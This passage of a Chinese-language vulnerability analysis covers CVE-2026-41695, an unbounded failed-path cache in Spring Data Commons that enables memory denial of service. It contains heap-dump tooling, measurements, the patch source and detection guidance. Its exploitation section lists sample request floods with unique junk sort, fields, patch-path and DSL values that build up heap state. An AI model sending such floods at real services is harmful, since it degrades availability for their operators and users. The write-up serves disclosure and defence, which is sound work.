echo " Set MAT_BIN=/path/to/MemoryAnalyzer and retry." >&2
exit 1
fi
mkdir -p "$WORKSPACE_DIR" "$REPORT_DIR"
run_one() {
local name="$1"
local dump="$ARTIFACT_DIR/$name.hprof.gz"
local log="$REPORT_DIR/$name-mat.log"
if [[ ! -f "$dump" ]]; then
echo "[-] Missing dump: $dump" >&2
exit 1
fi
echo "[+] Running MAT batch for $dump"
"$MAT_BIN" \
-consolelog \
-nosplash \
-data "$WORKSPACE_DIR" \
-application org.eclipse.mat.api.parse \
"$dump" \
org.eclipse.mat.api:suspects \
org.eclipse.mat.api:top_components | tee "$log"
}
run_one vulnerable
run_one fixed
cat <<EOF
[+] Reports generated next to dump files:
$ARTIFACT_DIR/vulnerable_Leak_Suspects.zip
$ARTIFACT_DIR/vulnerable_Top_Components.zip
$ARTIFACT_DIR/fixed_Leak_Suspects.zip
$ARTIFACT_DIR/fixed_Top_Components.zip
[+] Console logs saved to:
$REPORT_DIR/vulnerable-mat.log
$REPORT_DIR/fixed-mat.log
EOF这里有两个很容易踩坑、但很多文章不会写清楚的操作细节:
- 直接调用
ParseHeapDump.sh时,相对路径是相对.app内部解析的,不是相对你当前 shell 工作目录 - 如果 MAT 从只读 DMG 里启动,又不显式加
-data,Eclipse 默认 workspace 会尝试写回.app包内,结果直接报只读错误
所以真正稳定的批处理命令一定要同时满足:
- dump 走绝对路径
-data指向本地可写目录
下面这组文件来自 2026-08-16 实际执行脚本后的结果:
版本 | 唯一路径数 | cacheSize | post-GC heap used | dump 文件 |
| 20000 | 20000 | 9029K |
|
| 20000 | 512 | 2996K |
|
对应产物现在都已经落盘:
artifacts/heap-dumps/vulnerable.hprof.gzartifacts/heap-dumps/fixed.hprof.gzartifacts/heap-dumps/vulnerable_Leak_Suspects.zipartifacts/heap-dumps/vulnerable_Top_Components.zipartifacts/heap-dumps/fixed_Leak_Suspects.zipartifacts/heap-dumps/fixed_Top_Components.zipartifacts/heap-dumps/mat-batch/vulnerable-mat.logartifacts/heap-dumps/mat-batch/fixed-mat.log
也就是说,本文现在已经不是“理论上可以做 heap dump”,而是已经把:
- live heap dump
- MAT batch parse
- suspects 报告
- top-components 报告
这四步都真正执行了一遍。
0x08.7 MAT 默认首页为什么没有直接把 Spring 路径缓存点成头号嫌疑对象
这里要特别小心,不要误读工具输出。
把 vulnerable.hprof.gz 和 fixed.hprof.gz 都交给 MAT 后,Leak Suspects 默认首页最先点出来的并不是:
PathResolutionTypeAndPathDefaultPersistentPropertyPathPersistentPropertyPathFactory
而是更“通用”的 retained set,例如:
java.lang.Classjava.util.zip.ZipFile$Source
这不是在否定本文结论,而是在说明 MAT 默认 leakhunter 的排序规则本来就偏向“谁在当前样本里最像通用内存热点”,不负责替你理解业务语义,也不会自动知道“哪个 retained set 才是这次 CVE 的真正研究对象”。
但 MAT 这一步仍然有明确价值,因为报告里已经实际出现了:
Common Path To the Accumulation PointAccumulated Objects in Dominator TreeAccumulated Objects by Class in Dominator Tree
这意味着离线 dominator tree 不是“还没做”,而是已经做完了;只是默认首页优先展示的是 JDK 级公共 retained set,而不是 Spring Data 这条应用级缓存链。
所以本文现在对证据边界的表述应该是:
GC.class_histogram + GC.heap_info负责证明4.0.5和4.0.6在失败路径缓存规模上确实出现数量级差异jhsdb jmap --binaryheap负责把这种差异固化成可复核的 live heap dump- MAT batch 负责证明这些 dump 已经可以被真正展开成 dominator tree / retained-set 视角的离线对象图
- 但如果你要在 MAT 里精确盯住
TypeAndPath -> PathResolution这一簇对象,仍然应该结合定向 histogram / OQL,而不是只看Leak Suspects首页标题
0x09 利用视角:真实攻击面长什么样
这个洞最容易被误判成“只能本地触发”。实际上不是。
它能否远程打到,取决于你的系统有没有这类桥接:
- 把
sort=name、sort=foo.bar这类参数直接透传给MappingContext#getPersistentPropertyPath(String, ...) - 或者先做路径封装,但最终仍把高基数字符串送进同一个负缓存 sink
- 使用 Spring Data REST 或业务代码自定义桥接时,没有对白名单、限速或输入基数做约束
一旦有桥接,攻击者就只需要循环发送大量唯一垃圾值,例如:
GET /things?sort=aaaaaaaaaaaaaaaa1
GET /things?sort=aaaaaaaaaaaaaaaa2
GET /things?sort=aaaaaaaaaaaaaaaa3
...如果该桥接最终命中 CVE 所在的字符串负缓存,每次请求都可能返回一个看起来“正常失败”的错误,但每次失败也都会在 JVM 堆上留下新条目。
这种攻击的几个特点很适合实战:
- 不依赖命中真实字段
- 是否依赖认证取决于具体桥接点
- 不依赖复杂语义
- 单请求成本低
- 现象更像“业务参数乱填”而不是传统漏洞攻击流量
如果目标服务没有限速、没有白名单、没有网关层参数约束,这类 DoS 很容易演化成慢性内存压制。
0x09.1 四类常见的下游桥接模式(示意)
有一点需要先说明:Commons 内部已经确认的链路,只到 MappingContext#getPersistentPropertyPath(...) 为止;再往上的“HTTP 参数 -> 属性路径字符串”这段,通常是由下游模块或业务代码自己搭起来的。
从真实系统里最常见的实现方式看,桥接大致有四类。这里的图和例子用于帮助读者排查“自己的系统是否存在类似设计”,不应理解成“这些场景在所有模块里都已被逐一验证为 CVE 可达入口”:
1. 排序字段桥接
示意输入:
GET /orders?sort=customer.name123示意链路:
这类桥接最常见,因为很多系统天然就允许前端传字段名控制排序。一旦中间层没有做白名单映射,而是直接把 property 透传给元数据解析器,攻击者就可以用大量唯一值持续污染缓存。
2. 字段选择 / 投影桥接
示意输入:
GET /users?fields=profile.address.city999
GET /users?projection=orders.totalAmount999示意链路:
这类场景的风险点在于:开发者通常觉得自己只是在做“字段白名单校验”或“投影能力判断”,但如果判断逻辑本身依赖无界负缓存,攻击者反而能借这个校验过程制造长期内存占用。
3. JSON Patch / 局部更新桥接
示意输入:
[
{ "op": "replace", "path": "/persons/address/city2048", "value": "x" }
]示意链路:
这类桥接往往不会被第一时间想到,因为输入表面上看起来是 patch 文档,不像“排序字段”那么直白;但只要应用内部最终把它归一化成属性路径字符串,本质上和 sort=foo.bar 没有区别。
4. 自定义 DSL / 查询构造器桥接
示意输入:
POST /search
{
"orderBy": "persons.address.city4095",
"groupBy": "persons.department.name4095"
}示意链路:
这类桥接在业务系统里很常见,因为很多团队都会在 Spring Data 之上再包一层自己的查询抽象。风险不在 DSL 本身,而在“DSL 的字段名最终有没有被原样喂给属性路径解析器”。
0x09.2 攻击前提图:从请求参数到缓存污染
把前面的条件和桥接模式拼起来,这个洞在真实系统里的成立路径可以简化成:
图 11:只有“参数变属性路径”“路径桥接到 Commons”“攻击者能持续制造高基数唯一值”三个条件同时成立,漏洞链路才会闭合。
这张图里真正的判断点只有三个:
- 外部输入有没有机会变成属性路径。
- 属性路径有没有被直接桥接到
MappingContext。 - 攻击者能不能持续制造高基数唯一值。
只要这三件事同时成立,剩下的放大效果就主要由缓存边界和对象图深度决定。
0x09.3 三个容易误判的点
误判 1:只有 Spring Data REST 才会受影响
不是。Spring Data REST 只是一个容易被提到的例子,因为它天生和“路径、排序、投影”这类概念靠得近;真正决定风险的是:
- 有没有把不可信字符串变成属性路径
- 有没有把这条属性路径桥接到 Commons
只要业务代码自己做了同样的桥接,即使完全没用 Spring Data REST,风险同样成立。
误判 2:必须命中复杂递归对象图才有意义
也不是这样。复杂对象图确实能提高单次解析成本,但不决定漏洞是否存在。哪怕对象模型很普通,只要缓存 key 来自外部输入且没有上限,攻击者就能靠“海量唯一失败值”把 retained set 做大。
误判 3:请求都报错了,说明不会留下状态
这是最危险的误判。这个洞最关键的地方,恰恰是“失败发生在缓存写入之后”。也就是说,上层看到的是“这次请求失败了”,但 JVM 里发生的是“失败结果已经被持久保留了一份”。
从运维和排障角度看,这也是为什么它很容易被误诊成:
- 普通参数校验失败
- 某个客户端在乱传字段
- 一波没什么威胁的 4xx 噪声
真正的问题在于,这些看似无害的失败流量,可能正在持续把老年代顶高。
0x0A 为什么修复方案有效
修复版没有去赌“攻击者不会发太多不同字符串”,而是直接承认了一个现实:
凡是 key 能由外部输入推导出来的缓存,都不能默认无界。
ConcurrentLruCache(512) 的意义在这里非常直接:
- 缓存容量有硬上限。
- 老条目可以被淘汰。
- 即使攻击者继续输入新的随机路径,堆上保留的缓存对象数也不再无限增长。
这不是“彻底消灭负缓存”,而是把它从“可被外部输入放大成 DoS”改成“受控的性能优化”。
0x0A.1 修复后还剩什么风险
这里需要把边界说清楚:4.0.6 / 3.5.12 修复的是这个 CVE 对应的“无界负缓存可被外部输入放大成内存 DoS”问题,而不是把所有失败路径缓存语义都删除了。
从实现上看,修复后的语义大致变成:
- 攻击者依然可以持续发送大量唯一无效路径。
- 这些路径依然可能触发解析、异常和一定程度的对象创建。
- 但缓存长期保留的失败结果被压缩到一个固定上界,不会再随请求数线性增长。
- 风险中心从“无限内存累积”退化成“有界缓存抖动 + 持续 CPU/异常噪声”。
对应到 4.0.6 的真实源码,关键上下文如下:
private final ConcurrentLruCache<TypeAndPath, PathResolution> propertyPaths =
new ConcurrentLruCache<>(512, it -> createPersistentPropertyPath(it.path(), it.type()));
private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
return propertyPaths.get(TypeAndPath.of(type, propertyPath)).getResolvedPath();
}
private PathResolution createPersistentPropertyPath(String propertyPath, TypeInformation<?> type) {
String trimmedPath = propertyPath.trim();
List<String> parts = trimmedPath.isEmpty() ? Collections.emptyList() : List.of(trimmedPath.split("\\."));
...
if (pair == null) {
return PathResolution.unresolved(parts, segment, type, currentPath);
}
...
}这里最值得注意的是:修复版并没有改掉“失败时返回 PathResolution.unresolved(...)”这件事,真正改变的是缓存容器变成了带上限和淘汰能力的 ConcurrentLruCache。
补丁解决的是这个漏洞最核心的部分:
- 旧版本的问题是 retained set 可以无限变大;
- 新版本的问题则更接近 bounded churn。
这也是为什么官方没有简单选择“彻底取消失败缓存”。如果完全不缓存失败路径,那么某些重复无效路径场景下,每次都要重新走一遍解析;从框架维护者的角度看,这会带来明显的性能回退。ConcurrentLruCache(512) 的取舍,本质上是在“保留负缓存收益”和“阻断无界放大”之间做平衡。
0x0A.2 把 ConcurrentLruCache 拆开看:这不是“换个 Map 名字”
如果只看 PersistentPropertyPathFactory 的补丁 Diff,很容易觉得修复只是:
- ConcurrentHashMap
+ ConcurrentLruCache(512)但把 spring-framework 里的 ConcurrentLruCache 实现摊开看,会发现它并不是一个简单的 Collections.synchronizedMap(new LinkedHashMap(...)) 包装器,而是更接近:
private final int capacity;
private final AtomicInteger currentSize = new AtomicInteger();
private final ConcurrentMap<K, Node<K, V>> cache;
private final Function<K, V> generator;
private final ReadOperations<K, V> readOperations;
private final WriteOperations writeOperations;
private final EvictionQueue<K, V> evictionQueue = new EvictionQueue<>();
private final AtomicReference<DrainStatus> drainStatus = new AtomicReference<>(DrainStatus.IDLE);
public ConcurrentLruCache(int capacity, Function<K, V> generator) {
this(capacity, generator, 16);
}
public V get(K key) {
if (this.capacity == 0) {
return this.generator.apply(key);
}
Node<K, V> node = this.cache.get(key);
if (node == null) {
V value = this.generator.apply(key);
put(key, value);
return value;
}
processRead(node);
return node.getValue();
}
private void put(K key, V value) {
Node<K, V> node = new Node<>(key, new CacheEntry<>(value, CacheEntryState.ACTIVE));
Node<K, V> prior = this.cache.putIfAbsent(node.key, node);
if (prior == null) {
processWrite(new AddTask(node));
} else {
processRead(prior);
}
}
private void processWrite(Runnable task) {
this.writeOperations.add(task);
this.drainStatus.lazySet(DrainStatus.REQUIRED);
drainOperations();
}
private final class AddTask implements Runnable {
@Override
public void run() {
currentSize.lazySet(currentSize.get() + 1);
if (this.node.get().isActive()) {
evictionQueue.add(this.node);
evictEntries();
}
}
private void evictEntries() {
while (currentSize.get() > capacity) {
Node<K, V> node = evictionQueue.poll();
if (node == null) {
return;
}
cache.remove(node.key, node);
markAsRemoved(node);
}
}
}这段实现至少说明了四件事:
- 修复版仍然是强引用缓存,不是弱引用或软引用缓存。
- 每个缓存项不是直接把 value 塞进 map,而是包成
Node<K, V>,并挂进一条独立的EvictionQueue。 - 读命中不会每次都立刻重排 LRU 队列,而是先记录到
ReadOperations缓冲区,再在合适时机 drain。 - 写 miss 会先生成 value,再通过
AddTask把新节点入队,并在currentSize > capacity时从队首淘汰最旧节点。
这也解释了为什么修复版的风险画像不是“完全没有对象创建”,而是:
- 攻击者仍然可以持续制造新的 key
- 新 key 仍然会触发解析和对象创建
- 但长期保留在
cache + evictionQueue里的 active 节点不会无限增长
从源码实现上还能进一步推断一个细节:在高并发场景下,putIfAbsent(...) 先把节点放进底层 ConcurrentMap,淘汰则要等写操作 drain 后才完成,因此容量附近可能存在短暂抖动窗口。
这个判断对应的不是模糊推测,而是由上面几行实现直接支撑的:
putIfAbsent(...)发生在processWrite(new AddTask(node))之前,所以节点先进入底层cache。- 真正的淘汰逻辑不在
put(...)当场完成,而是在后续AddTask#run()中通过evictionQueue.add(...)和evictEntries()执行。
不过这类窗口对应的是短期 churn,而不是旧实现那种“随着唯一输入永久线性累积”的 retained set。
还有一个很容易忽略、但很能说明维护者取舍的点:ConcurrentLruCache 的构造语义明确支持 capacity == 0,也就是“完全不缓存,总是重新生成”。官方补丁没有选择 0,而是显式选择了 512。这表明修复目标从一开始就不是“删除失败缓存语义”,而是“保留缓存收益,但给 retained set 加硬边界”。
不过要注意,这并不意味着下游应用层面的所有输入治理工作都自动完成了:
- 它不会替你做属性路径白名单。
- 它不会阻止用户持续发送垃圾参数。
- 它不会把一个本来可远程到达的桥接点变成不可达。
更准确地说:
- 升级到官方 fixed version 后,这个 CVE 对应的漏洞已经修复。
- 额外的白名单、限速、告警联动,属于通用防御加固,而不是“升级后漏洞仍未修复”的补丁前提。
0x0B 防守建议
如果你是使用方,而不是框架维护者,真正该做的事有三层:
1. 升级
优先升级到官方 fixed version:
4.0.6+3.5.12+4.0.5.1+(Enterprise Support Only)3.5.11.1+(Enterprise Support Only)3.4.15+(Enterprise Support Only)
如果还在 3.4.x 线,公开 OSS 修复不可用,需要企业支持版本。根据 Spring 官方公告,升级到对应 fixed version 后,No further mitigation steps are necessary. 下面这些建议属于额外加固,而不是官方补丁的替代品。
2. 不要把任意字符串直接当属性路径
对外部传入的:
sortprojectionfields- PATCH path
- 任意“字段名/路径名”参数
做白名单或映射,而不是直接透传给框架内部解析器。
3. 从运维侧限制高基数参数攻击
- API 网关做参数长度和字符集约束
- 对高频失败请求限速
- 对
InvalidPersistentPropertyPath异常做聚合告警 - 监控堆占用、Full GC、4xx 异常暴涨的联动关系
这个洞真正的检测特征,往往不是一条 IDS 规则,而是:
- 某个路径参数出现海量唯一值
- 同时伴随内存上涨和失败请求增多
4. 把检测规则落成具体告警
如果只停留在“监控堆占用、关注异常日志”这一层,很多团队到生产里还是抓不住这个洞。更实用的做法,是把它拆成三组可以联动的信号:
- 应用层异常信号
- JVM 资源信号
- 网关/接入层高基数参数信号
只有当这三类信号开始一起抬头时,才更像 CVE-2026-41695 这种“失败请求驱动的慢性内存压制”,而不是普通的业务报错。
4.1 应用日志侧:先盯 InvalidPersistentPropertyPath
如果你的应用或下游模块会把异常打进日志,那么最直接的入口就是聚合:
InvalidPersistentPropertyPathNo property '<segment>' foundPersistentPropertyPath- 与
sort、fields、projection、PATCH path 相关的 4xx 请求
优先看两个维度:
- 异常总量是否突然升高
- 触发异常的参数值是否呈现“短时间海量唯一值”
这个洞和普通误填参数最大的区别,不是“报错了”,而是“报错值几乎不重复”。如果 5 分钟内出现几千个不同的 sort/fields 参数,而业务侧又没有合理解释,这就已经很可疑。
如果日志平台支持聚合,可以直接按“参数名 + 去重值数量”做检测。例如思路上可以写成:
统计窗口:5 分钟
条件 1:InvalidPersistentPropertyPath 或同类路径解析失败异常显著升高
条件 2:同一接口上的 sort / fields / projection / path 参数 unique count 异常升高
条件 3:HTTP 4xx 比例同步抬升
满足其中 2-3 项时触发高优先级告警4.2 JVM 指标侧:看“失败请求 + 老年代压力”是否同步
单独看 4xx 激增,可能只是客户端传错参数;单独看堆上涨,也可能只是别的内存泄漏。这个洞真正像样的画像,是两者开始联动。
重点关注:
heap_used_bytesold_gen_used_bytes或等价老年代占用指标jvm_gc_pause_seconds_count/jvm_gc_pause_seconds_sum- Full GC 次数
- 进程 RSS / 容器内存
- 应用侧 4xx、异常请求量
更贴近这个洞的告警逻辑通常像这样:
条件 1:5-15 分钟内 4xx 或路径解析失败异常持续上升
条件 2:同一时间窗内 Old Gen 使用量持续增长
条件 3:Young GC 频率升高,或 Full GC 开始出现
条件 4:服务吞吐下降 / 响应时间上升如果只有条件 1,没有条件 2 和 3,更像普通参数滥用;如果条件 1、2、3 连在一起出现,就更接近“失败流量正在把堆顶高”。
4.3 网关侧:抓高基数字段名,而不是只抓恶意关键字
很多安全设备喜欢找固定 payload 特征,但这个洞恰恰不太依赖“危险关键字”。攻击者完全可以只发:
sort=a1
sort=a2
sort=a3
...所以网关侧更有效的策略不是“匹配某个危险字符串”,而是检测:
- 某个字段名参数在短时间内出现大量唯一值
- 这些值大多较短、看似普通,但重复率极低
- 同一来源持续触发 4xx 或同类错误响应
可以直接把这类参数列成重点观察名单:
sortfieldfieldsprojectionpropertypath- 任何业务里表示“字段名”“属性名”“路径名”的自定义参数
如果网关支持规则引擎,一个很实用的启发式是:
同一 IP / token / session
在 5 分钟内
针对同一接口
提交某个路径型参数超过 N 个唯一值
且失败响应占比超过阈值
=> 触发限速或挑战这里的重点不是阈值写成多少,而是要把“unique count”纳入规则。没有唯一值维度,这类攻击很容易在网关里伪装成普通参数请求。
4.4 实战排障时,先确认这三件事
如果线上已经出现症状,最值得先回答的是:
- 最近是否有某个字段型参数的唯一值数量异常飙升。
- 这些请求是否集中触发了
InvalidPersistentPropertyPath或同类路径解析失败。 - 异常出现的同一时间窗里,Old Gen、GC 和 RSS 是否同步上涨。
如果这三个问题的答案都是“是”,那就应该优先去检查:
- 该接口是否把
sort/fields/projection/ PATCH path 透传给了属性路径解析 - 当前 Spring Data Commons 是否仍处于受影响版本
- 网关或业务层是否缺少字段白名单 / 限速 / 参数约束
这类排障顺序比“先全局抓内存泄漏”更有效,因为它直接围绕这个洞最独特的特征展开:失败请求本身就是状态增长器。
0x0C 图示化总览
前面的分析已经把代码、复现、取证和检测分开展开。下面这三张图可以把整篇文章的主线快速串起来。
0x0C.1 攻击链总览
图 12:攻击面主链路。真正危险的是失败分支会先写入缓存,再把异常抛回上层。
这张图最关键的一点,不是“最后抛了异常”,而是“失败结果先进入缓存”。只要攻击者能持续制造高基数唯一路径,失败分支本身就会变成状态增长器。
0x0C.2 堆对象留存链
对应到本文的实测结果:
4.0.5:PathResolution/TypeAndPath/DefaultPersistentPropertyPath都能随唯一路径数线性长到40964.0.6:同一组对象被限制在512左右
所以这个洞真正危险的地方,不是“某个请求会失败”,而是“失败请求结束以后,相关对象还继续活在堆里”。
0x0C.3 检测联动图
图 13:应用日志、JVM 指标和网关信号需要联动看,单点指标很容易误报。
这个洞最好用“信号联动”来识别,而不是只靠单点规则。单独看任何一个指标都可能误报,但当“高基数参数 + 路径解析失败 + 老年代压力”同时出现时,画像就已经非常接近了。
0x0D 总结
CVE-2026-41695 很适合拿来提醒大家一件事:性能优化和安全边界,经常就在同一行代码上打架。
2023 年那次“缓存失败路径”的优化,从局部视角看完全合理;但一旦缓存 key 来自外部输入,而且没有边界,这个优化就会从“减少重复计算”转成“帮攻击者稳定囤积对象”。
这也是为什么很多框架级 DoS 漏洞看起来都不华丽,却非常有实战价值。它们不需要拿 shell,不需要绕鉴权,不需要代码执行。只要能让系统持续做一件“看起来正确但无法停止”的事,服务就会自己把自己拖死。
从这个角度看,CVE-2026-41695 是个很典型、也很教材级的缓存边界失控案例。
参考资料
- Spring 官方安全公告:https://spring.io/security/cve-2026-41695/
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-41695
- GitHub Advisory:https://github.com/advisories/GHSA-88fw-v6x4-3f58
- 引入失败路径缓存的 Issue:https://github.com/spring-projects/spring-data-commons/issues/2837
- 引入失败路径缓存的提交:
291ce083bdcc4d140323125fab518ca64c47af9b - 官方修复提交(4.0.x):
96e9475b963218bb702959524187342671f6b080 - 官方修复提交(3.5.x):
a4f893b66c18c70f2b22f29a2b55097b73c89941